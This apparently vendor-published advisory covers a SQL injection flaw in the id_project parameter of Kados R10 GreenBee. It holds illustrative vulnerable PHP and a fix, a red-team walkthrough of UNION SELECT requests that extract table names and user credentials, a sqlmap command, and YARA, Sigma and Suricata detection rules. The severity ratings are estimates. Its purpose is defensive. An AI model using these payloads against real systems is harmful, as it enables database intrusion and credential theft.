CVE-2019-25702
Executive Summary
CVE-2019-25702 is an unpatched SQL injection vulnerability affecting Kados R10 GreenBee, a product by the vendor Kados. The flaw exists in the id_project parameter, allowing unauthenticated attackers to inject arbitrary SQL commands. This can lead to unauthorized data extraction, modification, or deletion from the underlying database. No public proof-of-concept (PoC) code or patch is currently available, making this a high-risk, zero-day-like scenario for any organization using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Kados R10 GreenBee). Organizations should verify their software supply chain for any dependencies on this product and consider immediate isolation or decommissioning.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): None (likely)
- Scope (S): Unchanged (likely)
- Confidentiality (C): High (likely)
- Integrity (I): High (likely)
- Availability (A): Low (likely)
Threat Level: Critical (estimated based on SQL injection impact and lack of patch).
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the id_project parameter. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. For example, a vulnerable PHP code snippet might look like:
$id = $_GET['id_project'];
$query = "SELECT * FROM projects WHERE id = $id";
$result = mysqli_query($conn, $query);
An attacker can inject a payload such as:
id_project=1 UNION SELECT username, password FROM users--
This would return sensitive data from other tables. The lack of input validation allows the attacker to manipulate the query structure, potentially leading to full database compromise.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
$id = $_GET['id_project'];
$query = "SELECT * FROM projects WHERE id = $id";
$result = mysqli_query($conn, $query);
Patched Code (using prepared statements):
$stmt = $conn->prepare("SELECT * FROM projects WHERE id = ?");
$stmt->bind_param("i", $_GET['id_project']);
$stmt->execute();
$result = $stmt->get_result();
Since no official patch exists, the above is a recommended fix. The vulnerable code directly interpolates user input, while the patched version uses parameterized queries to prevent injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of Kados R10 GreenBee (e.g., using a Docker container or a local VM).
- Use a web proxy (Burp Suite, OWASP ZAP) to intercept requests.
- Target the
id_projectparameter in a GET or POST request.
Exploitation Steps:
- Send a baseline request to confirm the parameter is injectable:
GET /index.php?id_project=1 HTTP/1.1 - Test for SQL injection using a simple payload:
If an error is returned, the parameter is vulnerable.GET /index.php?id_project=1' HTTP/1.1 - Extract database version:
GET /index.php?id_project=1 UNION SELECT @@version,2,3-- - Dump table names:
GET /index.php?id_project=1 UNION SELECT table_name,2,3 FROM information_schema.tables-- - Extract user credentials:
GET /index.php?id_project=1 UNION SELECT username,password,3 FROM users--
Automation with sqlmap:
sqlmap -u "http://target.com/index.php?id_project=1" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor for anomalous SQL error messages in logs (e.g., "You have an error in your SQL syntax").
- Look for requests containing SQL keywords (UNION, SELECT, FROM) in the
id_projectparameter. - Use WAF rules to block common SQL injection patterns.
Hunting:
- Search web server logs for requests with
id_projectcontaining single quotes ('), double dashes (--), orUNION SELECT. - Correlate with database audit logs for unexpected queries.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
id_projectcontaining SQL syntax (e.g.,1' OR '1'='1,1 UNION SELECT). - Outbound database connections from the web server to unusual IPs.
- HTTP requests with
- File IOCs:
- Suspicious files in web root (e.g.,
cmd.php,shell.php). - Modified application files (e.g.,
index.phpwith injected code).
- Suspicious files in web root (e.g.,
- Log IOCs:
- Database error logs showing SQL syntax errors.
- Web server logs with repeated
id_projectparameter variations.
Detection Engineering
YARA Rule
rule CVE_2019_25702_SQLi {
meta:
description = "Detects SQL injection attempts targeting id_project parameter in Kados R10 GreenBee"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2019-25702"
strings:
$sqli1 = "id_project=" nocase
$sqli2 = "' OR " nocase
$sqli3 = "UNION SELECT" nocase
$sqli4 = "1=1" nocase
$sqli5 = "DROP TABLE" nocase
condition:
any of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: SQL Injection Attempt on Kados R10 GreenBee id_project Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts in HTTP requests targeting the id_project parameter.
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "id_project="
- "' OR "
- "UNION SELECT"
- "1=1"
- "DROP TABLE"
condition: selection
falsepositives:
- Legitimate use of special characters in project IDs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25702 SQL Injection Attempt on Kados R10 GreenBee"; flow:to_server,established; content:"id_project="; nocase; content:"' OR "; nocase; distance:0; content:"UNION SELECT"; nocase; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected system from the network if possible.
- Apply virtual patching using a WAF (e.g., ModSecurity rule to block
id_projectwith SQL keywords). - Audit all input parameters for similar vulnerabilities.
Long-term Fix:
- Replace all dynamic SQL queries with parameterized statements or stored procedures.
- Implement strict input validation (allow only numeric values for
id_project). - Upgrade to a patched version if/when available.
Workaround:
- Disable the vulnerable functionality if not critical.
- Use a reverse proxy to filter malicious requests.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 349B9EE43A828CEE168B74E3] */}